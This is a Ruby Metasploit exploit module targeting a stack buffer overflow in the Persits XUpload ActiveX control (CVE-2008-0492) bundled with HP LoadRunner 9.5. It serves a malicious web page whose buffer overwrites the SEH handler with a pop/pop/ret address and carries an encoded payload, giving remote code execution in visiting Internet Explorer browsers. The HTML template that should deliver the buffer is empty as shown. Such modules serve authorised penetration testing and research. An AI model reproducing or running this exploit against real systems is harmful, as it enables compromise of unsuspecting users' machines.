##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Persits XUpload ActiveX AddFile Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Persits Software Inc's
XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5.
By passing an overly long string to the AddFile method, an attacker may be
able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'References' =>
[
[ 'CVE', '2008-0492'],
[ 'OSVDB', '40762'],
[ 'BID', '27456' ],
[ 'EDB', '4987' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3',
{
'Ret' => 0x10019d6e # pop/pop/ret @ XUpload.ocx
}
],
],
'DisclosureDate' => 'Jan 25 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_alpha(738)
sploit << generate_seh_payload(target.ret)
sploit << p.encoded
sploit << rand_text(1000) * 25
sploit = Rex::Text.to_unescape(sploit)
# Build out the message
content = %Q|
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end